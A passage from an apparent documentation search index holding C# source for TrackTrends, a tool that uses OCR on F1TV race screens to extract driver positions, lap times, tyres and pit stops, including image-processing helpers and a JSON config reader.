. ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); List < int > pixelsToRemove = new List < int >(); bool fromBorder = true ; for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } fromBorder = true ; for ( int x = inputBitmap . Width - 1 ; x > 0 ; x --) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } foreach ( int pxPos in pixelsToRemove ) { byte * pixel = currentLine + ( pxPos * bytesPerPixel ); pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } //Removing the color parts for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R + 25 || G >= F1TV_BACKGROUND_TRESHOLD . G + 25 || B >= F1TV_BACKGROUND_TRESHOLD . B + 25 ) { pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; int totR = 0 ; int totG = 0 ; int totB = 0 ; int totPixels = 1 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R || G >= F1TV_BACKGROUND_TRESHOLD . G || B >= F1TV_BACKGROUND_TRESHOLD . B ) { totPixels ++; totB += pixel [ 0 ]; totG += pixel [ 1 ]; totR += pixel [ 2 ]; } } }); } inputBitmap . UnlockBits ( bmpData ); return Color . FromArgb ( 255 , Math . Min ( Convert . ToInt32 (( float ) totR / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totG / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totB / ( float ) totPixels ), 255 )); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); pixel [ 0 ] = ( byte )( 255 - pixel [ 0 ]); pixel [ 1 ] = ( byte )( 255 - pixel [ 1 ]); pixel [ 2 ] = ( byte )( 255 - pixel [ 2 ]); } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize ( Bitmap inputBitmap , int resizeFactor ) { var resultBitmap = new Bitmap ( inputBitmap . Width * resizeFactor , inputBitmap . Height * resizeFactor ); using ( var graphics = Graphics . FromImage ( resultBitmap )) { graphics . InterpolationMode = InterpolationMode . HighQualityBicubic ; graphics . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , resultBitmap . Width , resultBitmap . Height )); } return resultBitmap ; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours ( Bitmap inputBitmap ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); Bitmap grayscale = Grayscale ( inputBitmap ); Bitmap thresholded = Tresholding ( grayscale , 128 ); Bitmap dilated = Dilatation ( thresholded , 3 ); Bitmap eroded = Erode ( dilated , 3 ); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { for ( int x = 0 ; x < inputBitmap . Width ; x ++) { Color pixel = inputBitmap . GetPixel ( x , y ); Color dilatedPixel = dilated . GetPixel ( x , y ); Color erodedPixel = eroded . GetPixel ( x , y ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); int threshold = dilatedPixel . R ; if ( gray > threshold ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else if ( gray <= threshold && erodedPixel . R == 0 ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = true ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray >= 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = false ; break ; } } if (! flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = false ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray < 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = true ; break ; } } if ( flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } } } return outputBitmap ; } } }","title":"OcrImage.cs"},{"location":"Code/Reader.html","text":"Reader.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.Windows.Forms ; using System.IO ; using System.Text.Json ; namespace TrackTrends { public class Reader { const int NUMBER_OF_DRIVERS = 20 ; public List < string > Drivers ; public List < Zone > MainZones ; private SqliteStorage _storage ; private List < DriverData >[] DriverDataLogs = new List < DriverData >[ NUMBER_OF_DRIVERS ]; private int [] DriverLaps = new int [ NUMBER_OF_DRIVERS ]; public SqliteStorage Storage { get => _storage ; private set => _storage = value ; } public Reader ( string configFile , Bitmap image , bool loadOCR = true ) { Storage = new SqliteStorage (); MainZones = Load ( image , configFile , ref Drivers , loadOCR ); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public List < Zone > Load ( Bitmap image , string configFilePath , ref List < string > driverListToFill , bool LoadOCR ) { // Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last // Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image List < Zone > mainZones = new List < Zone >(); Bitmap fullImage = image ; Zone mainZone ; for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { DriverDataLogs [ i ] = new List < DriverData >(); DriverLaps [ i ] = 0 ; } try { string jsonString = File . ReadAllText ( configFilePath ); JsonDocument document = JsonDocument . Parse ( jsonString ); JsonElement root = document . RootElement ; mainZones = new List < Zone >(); driverListToFill = new List < string >(); JsonElement main = root . GetProperty ( \"Main\" ); int x = main . GetProperty ( \"x\" ). GetInt32 (); int y = main . GetProperty ( \"y\" ). GetInt32 (); int width = main . GetProperty ( \"width\" ). GetInt32 (); int height = main . GetProperty ( \"height\" ). GetInt32 (); mainZone = new Zone ( fullImage , new Rectangle ( x , y , width , height ), \"Main\" ); mainZone . ResetWindows (); mainZone . ResetZones (); JsonElement driverZones = main . GetProperty ( \"DriverZones\" ); foreach ( JsonElement driverZoneElement in driverZones . EnumerateArray ()) { string name = driverZoneElement . GetProperty ( \"name\" ). GetString (); int driverX = driverZoneElement . GetProperty ( \"x\" ). GetInt32 () + mainZone . Bounds . X ; int driverY = driverZoneElement . GetProperty ( \"y\" ). GetInt32 () + mainZone . Bounds . Y ; int driverWidth = driverZoneElement . GetProperty ( \"width\" ). GetInt32 (); int driverHeight = driverZoneElement . GetProperty ( \"height\" ). GetInt32 (); Zone driverZone = new Zone ( fullImage , new Rectangle ( driverX , driverY , driverWidth , driverHeight ), \"Driver\" ); JsonElement windowsElement = driverZoneElement . GetProperty ( \"Windows\" ); //string[] windowNames = new string[] { \"Position\",\"GapToLeader\",\"LapTime\",\"DRS\",\"Tyres\",\"Name\",\"Sector1\",\"Sector2\",\"Sector3\" }; foreach ( JsonElement windowElement in windowsElement . EnumerateArray ()) { //Position JsonElement posEl = windowElement . GetProperty ( \"Position\" ); DriverPositionWindow positionWindow = new DriverPositionWindow ( driverZone . ZoneImage , new Rectangle ( posEl . GetProperty ( \"x\" ). GetInt32 (), posEl . GetProperty ( \"y\" ). GetInt32 (), posEl . GetProperty ( \"width\" ). GetInt32 (), posEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //GapToLeader JsonElement gapEl = windowElement . GetProperty ( \"GapToLeader\" ); DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow ( driverZone . ZoneImage , new Rectangle ( gapEl . GetProperty ( \"x\" ). GetInt32 (), gapEl . GetProperty ( \"y\" ). GetInt32 (), gapEl . GetProperty ( \"width\" ). GetInt32 (), gapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //LapTime JsonElement lapEl = windowElement . GetProperty ( \"LapTime\" ); DriverLapTimeWindow lapWindow = new DriverLapTimeWindow ( driverZone . ZoneImage , new Rectangle ( lapEl . GetProperty ( \"x\" ). GetInt32 (), lapEl . GetProperty ( \"y\" ). GetInt32 (), lapEl . GetProperty ( \"width\" ). GetInt32 (), lapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //DRS JsonElement drsEl = windowElement . GetProperty ( \"DRS\" ); DriverDrsWindow drsWindow = new DriverDrsWindow ( driverZone . ZoneImage , new Rectangle ( drsEl . GetProperty ( \"x\" ). GetInt32 (), drsEl . GetProperty ( \"y\" ). GetInt32 (), drsEl . GetProperty ( \"width\" ). GetInt32 (), drsEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Tyre JsonElement tyresEl = windowElement . GetProperty ( \"Tyres\" ); DriverTyresWindow tyreWindow = new DriverTyresWindow ( driverZone . ZoneImage , new Rectangle ( tyresEl . GetProperty ( \"x\" ). GetInt32 (), tyresEl . GetProperty ( \"y\" ). GetInt32 (), tyresEl . GetProperty ( \"width\" ). GetInt32 (), tyresEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Name JsonElement nameEl = windowElement . GetProperty ( \"Name\" ); DriverNameWindow nameWindow = new DriverNameWindow ( driverZone . ZoneImage , new Rectangle ( nameEl . GetProperty ( \"x\" ). GetInt32 (), nameEl . GetProperty ( \"y\" ). GetInt32 (), nameEl . GetProperty ( \"width\" ). GetInt32 (), nameEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Sector1 JsonElement sec1El = windowElement . GetProperty ( \"Sector1\" ); DriverSectorWindow sec1Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec1El . GetProperty ( \"x\" ). GetInt32 (), sec1El . GetProperty ( \"y\" ). GetInt32 (), sec1El . GetProperty ( \"width\" ). GetInt32 (), sec1El . GetProperty ( \"height\" ). GetInt32 ()), 1 , LoadOCR ); //Sector2 JsonElement sec2El = windowElement . GetProperty ( \"Sector2\" ); DriverSectorWindow sec2Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec2El . GetProperty ( \"x\" ). GetInt32 (), sec2El . GetProperty ( \"y\" ). GetInt32 (), sec2El . GetProperty ( \"width\" ). GetInt32 (), sec2El . GetProperty ( \"height\" ). GetInt32 ()), 2 , LoadOCR ); //Sector3 JsonElement sec3El = windowElement . GetProperty ( \"Sector3\" ); DriverSectorWindow sec3Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec3El . GetProperty ( \"x\" ). GetInt32 (), sec3El . GetProperty ( \"y\" ). GetInt32 (), sec3El . GetProperty ( \"width\" ). GetInt32 (), sec3El . GetProperty ( \"height\" ). GetInt32 ()), 3 , LoadOCR ); driverZone . AddWindow ( positionWindow ); driverZone . AddWindow ( gapWindow ); driverZone . AddWindow ( lapWindow ); driverZone . AddWindow ( drsWindow ); driverZone . AddWindow ( tyreWindow ); driverZone . AddWindow ( nameWindow ); driverZone . AddWindow ( sec1Window ); driverZone . AddWindow ( sec2Window ); driverZone . AddWindow ( sec3Window ); } mainZone . AddZone ( driverZone ); } JsonElement driversElement = main . GetProperty ( \"Drivers\" ); foreach ( JsonElement driverElement in driversElement . EnumerateArray ()) { string driverName = driverElement . GetString (); driverListToFill . Add ( driverName ); Storage . AddDriver ( driverName ); } mainZones . Add ( mainZone ); } catch ( IOException ex ) { MessageBox . Show ( \"Error reading JSON file: \" + ex . Message ); } catch ( JsonException ex ) { MessageBox . Show ( \"Invalid JSON format: \" + ex . Message ); } int driverID = 0 ; foreach ( Zone z in mainZones [ 0 ]. Zones ) { driverID ++; z . ZoneImage . Save ( \"LoadedDriver\" + driverID + \".png\" ); } return mainZones ; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public List < DriverData > Decode ( List < Zone > mainZones , List < string > drivers ) { List < DriverData > mainResults = new List < DriverData >(); //Decode for ( int mainZoneId = 0 ; mainZoneId < mainZones . Count ; mainZoneId ++) { switch ( mainZoneId ) { case 0 : //object lockObject = new object(); //Main Zone Parallel . For ( 0 , mainZones [ mainZoneId ]. Zones . Count , async i => //for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++) { DriverData data = mainZones [ mainZoneId ]. Zones [ i ]. Decode ( new List < string >( drivers )); mainResults . Add ( data ); DriverDataLogs [ i ]. Add ( data ); if ( data . Position != - 1 && DriverDataLogs [ i ]. Count > 1 ) { //Tries to fix the tyres if ( data . CurrentTyre . NumberOfLaps > DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 3 ) data . CurrentTyre . NumberOfLaps = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 1 ; //Checking if its a new lap //If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started //Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing. if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { DriverData stats = new DriverData (); stats = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]; DriverLaps [ i ]++; Storage . AddDriverStat ( stats , DriverLaps [ i ]); } //Checking if its a pitstop //Forget this the best way to know if a tyre has been changed is if the number of laps is zero if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { Storage . AddPitstop ( data . Name , DriverLaps [ i ] - 1 , data . CurrentTyre . Coumpound . ToString ()); //Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop } } DriverDataLogs [ i ]. Add ( data ); }); break ; //Next there could be a Title Zone and TrackInfoZone } } //mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList(); mainResults = mainResults . OrderBy ( driver => driver . Position ). ToList (); return mainResults ; } /// /// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows /// /// The new Image from the F1TV data channel public void ChangeImage ( Bitmap Image ) { foreach ( Zone z in MainZones ) { z . Image = Image ; } } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime ( int amountOfMs ) { //Convert.ToInt32 would round upand I dont want that int minuts = ( int )(( float ) amountOfMs / ( 1000f * 60f )); int seconds = ( int )(( amountOfMs - ( minuts * 60f * 1000f )) / 1000 ); int ms = amountOfMs - (( minuts * 60 * 1000 ) + ( seconds * 1000 )); return minuts + \":\" + seconds . ToString ( \"00\" ) + \":\" + ms . ToString ( \"000\" ); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw ( Bitmap image , List < Zone > mainZones ) { Graphics g = Graphics . FromImage ( image ); foreach ( Zone z in mainZones ) { int count = 0 ; foreach ( Zone zz in z . Zones ) { g . DrawRectangle ( Pens . Red , z . Bounds ); foreach ( Window w in zz . Windows ) { g . DrawRectangle ( Pens . Blue , new Rectangle ( z . Bounds . X + zz . Bounds . X , z . Bounds . Y + zz . Bounds . Y , zz . Bounds . Width , zz . Bounds . Height )); } count ++; } } return image ; } } }","title":"Reader.cs"},{"location":"Code/Reader.html#readercs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.Windows.Forms ; using System.IO ; using System.Text.Json ; namespace TrackTrends { public class Reader { const int NUMBER_OF_DRIVERS = 20 ; public List < string > Drivers ; public List < Zone > MainZones ; private SqliteStorage _storage ; private List < DriverData >[] DriverDataLogs = new List < DriverData >[ NUMBER_OF_DRIVERS ]; private int [] DriverLaps = new int [ NUMBER_OF_DRIVERS ]; public SqliteStorage Storage { get => _storage ; private set => _storage = value ; } public Reader ( string configFile , Bitmap image , bool loadOCR = true ) { Storage = new SqliteStorage (); MainZones = Load ( image , configFile , ref Drivers , loadOCR ); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public List < Zone > Load ( Bitmap image , string configFilePath , ref List < string > driverListToFill , bool LoadOCR ) { // Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last // Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image List < Zone > mainZones = new List < Zone >(); Bitmap fullImage = image ; Zone mainZone ; for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { DriverDataLogs [ i ] = new List < DriverData >(); DriverLaps [ i ] = 0 ; } try { string jsonString = File . ReadAllText ( configFilePath ); JsonDocument document = JsonDocument . Parse ( jsonString ); JsonElement root = document . RootElement ; mainZones = new List < Zone >(); driverListToFill = new List < string >(); JsonElement main = root . GetProperty ( \"Main\" ); int x = main . GetProperty ( \"x\" ). GetInt32 (); int y = main . GetProperty ( \"y\" ). GetInt32 (); int width = main . GetProperty ( \"width\" ). GetInt32 (); int height = main . GetProperty ( \"height\" ). GetInt32 (); mainZone = new Zone ( fullImage , new Rectangle ( x , y , width , height ), \"Main\" ); mainZone . ResetWindows (); mainZone . ResetZones (); JsonElement driverZones = main . GetProperty ( \"DriverZones\" ); foreach ( JsonElement driverZoneElement in driverZones . EnumerateArray ()) { string name = driverZoneElement . GetProperty ( \"name\" ). GetString (); int driverX = driverZoneElement . GetProperty ( \"x\" ). GetInt32 () + mainZone . Bounds . X ; int driverY = driverZoneElement . GetProperty ( \"y\" ). GetInt32 () + mainZone . Bounds . Y ; int driverWidth = driverZoneElement . GetProperty ( \"width\" ). GetInt32 (); int driverHeight = driverZoneElement . GetProperty ( \"height\" ). GetInt32 (); Zone driverZone = new Zone ( fullImage , new Rectangle ( driverX , driverY , driverWidth , driverHeight ), \"Driver\" ); JsonElement windowsElement = driverZoneElement . GetProperty ( \"Windows\" ); //string[] windowNames = new string[] { \"Position\",\"GapToLeader\",\"LapTime\",\"DRS\",\"Tyres\",\"Name\",\"Sector1\",\"Sector2\",\"Sector3\" }; foreach ( JsonElement windowElement in windowsElement . EnumerateArray ()) { //Position JsonElement posEl = windowElement . GetProperty ( \"Position\" ); DriverPositionWindow positionWindow = new DriverPositionWindow ( driverZone . ZoneImage , new Rectangle ( posEl . GetProperty ( \"x\" ). GetInt32 (), posEl . GetProperty ( \"y\" ). GetInt32 (), posEl . GetProperty ( \"width\" ). GetInt32 (), posEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //GapToLeader JsonElement gapEl = windowElement . GetProperty ( \"GapToLeader\" ); DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow ( driverZone . ZoneImage , new Rectangle ( gapEl . GetProperty ( \"x\" ). GetInt32 (), gapEl . GetProperty ( \"y\" ). GetInt32 (), gapEl . GetProperty ( \"width\" ). GetInt32 (), gapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //LapTime JsonElement lapEl = windowElement . GetProperty ( \"LapTime\" ); DriverLapTimeWindow lapWindow = new DriverLapTimeWindow ( driverZone . ZoneImage , new Rectangle ( lapEl . GetProperty ( \"x\" ). GetInt32 (), lapEl . GetProperty ( \"y\" ). GetInt32 (), lapEl . GetProperty ( \"width\" ). GetInt32 (), lapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //DRS JsonElement drsEl = windowElement . GetProperty ( \"DRS\" ); DriverDrsWindow drsWindow = new DriverDrsWindow ( driverZone . ZoneImage , new Rectangle ( drsEl . GetProperty ( \"x\" ). GetInt32 (), drsEl . GetProperty ( \"y\" ). GetInt32 (), drsEl . GetProperty ( \"width\" ). GetInt32 (), drsEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Tyre JsonElement tyresEl = windowElement . GetProperty ( \"Tyres\" ); DriverTyresWindow tyreWindow = new DriverTyresWindow ( driverZone . ZoneImage , new Rectangle ( tyresEl . GetProperty ( \"x\" ). GetInt32 (), tyresEl . GetProperty ( \"y\" ). GetInt32 (), tyresEl . GetProperty ( \"width\" ). GetInt32 (), tyresEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Name JsonElement nameEl = windowElement . GetProperty ( \"Name\" ); DriverNameWindow nameWindow = new DriverNameWindow ( driverZone . ZoneImage , new Rectangle ( nameEl . GetProperty ( \"x\" ). GetInt32 (), nameEl . GetProperty ( \"y\" ). GetInt32 (), nameEl . GetProperty ( \"width\" ). GetInt32 (), nameEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Sector1 JsonElement sec1El = windowElement . GetProperty ( \"Sector1\" ); DriverSectorWindow sec1Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec1El . GetProperty ( \"x\" ). GetInt32 (), sec1El . GetProperty ( \"y\" ). GetInt32 (), sec1El . GetProperty ( \"width\" ). GetInt32 (), sec1El . GetProperty ( \"height\" ). GetInt32 ()), 1 , LoadOCR ); //Sector2 JsonElement sec2El = windowElement . GetProperty ( \"Sector2\" ); DriverSectorWindow sec2Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec2El . GetProperty ( \"x\" ). GetInt32 (), sec2El . GetProperty ( \"y\" ). GetInt32 (), sec2El . GetProperty ( \"width\" ). GetInt32 (), sec2El . GetProperty ( \"height\" ). GetInt32 ()), 2 , LoadOCR ); //Sector3 JsonElement sec3El = windowElement . GetProperty ( \"Sector3\" ); DriverSectorWindow sec3Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec3El . GetProperty ( \"x\" ). GetInt32 (), sec3El . GetProperty ( \"y\" ). GetInt32 (), sec3El . GetProperty ( \"width\" ). GetInt32 (), sec3El . GetProperty ( \"height\" ). GetInt32 ()), 3 , LoadOCR ); driverZone . AddWindow ( positionWindow ); driverZone . AddWindow ( gapWindow ); driverZone . AddWindow ( lapWindow ); driverZone . AddWindow ( drsWindow ); driverZone . AddWindow ( tyreWindow ); driverZone . AddWindow ( nameWindow ); driverZone . AddWindow ( sec1Window ); driverZone . AddWindow ( sec2Window ); driverZone . AddWindow ( sec3Window ); } mainZone . AddZone ( driverZone ); } JsonElement driversElement = main . GetProperty ( \"Drivers\" ); foreach ( JsonElement driverElement in driversElement . EnumerateArray ()) { string driverName = driverElement . GetString (); driverListToFill . Add ( driverName ); Storage . AddDriver ( driverName ); } mainZones . Add ( mainZone ); } catch ( IOException ex ) { MessageBox . Show ( \"Error reading JSON file: \" + ex . Message ); } catch ( JsonException ex ) { MessageBox . Show ( \"Invalid JSON format: \" + ex . Message ); } int driverID = 0 ; foreach ( Zone z in mainZones [ 0 ]. Zones ) { driverID ++; z . ZoneImage . Save ( \"LoadedDriver\" + driverID + \".png\" ); } return mainZones ; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public List < DriverData > Decode ( List < Zone > mainZones , List < string > drivers ) { List < DriverData > mainResults = new List < DriverData >(); //Decode for ( int mainZoneId = 0 ; mainZoneId < mainZones . Count ; mainZoneId ++) { switch ( mainZoneId ) { case 0 : //object lockObject = new object(); //Main Zone Parallel . For ( 0 , mainZones [ mainZoneId ]. Zones . Count , async i => //for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++) { DriverData data = mainZones [ mainZoneId ]. Zones [ i ]. Decode ( new List < string >( drivers )); mainResults . Add ( data ); DriverDataLogs [ i ]. Add ( data ); if ( data . Position != - 1 && DriverDataLogs [ i ]. Count > 1 ) { //Tries to fix the tyres if ( data . CurrentTyre . NumberOfLaps > DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 3 ) data . CurrentTyre . NumberOfLaps = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 1 ; //Checking if its a new lap //If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started //Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing. if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 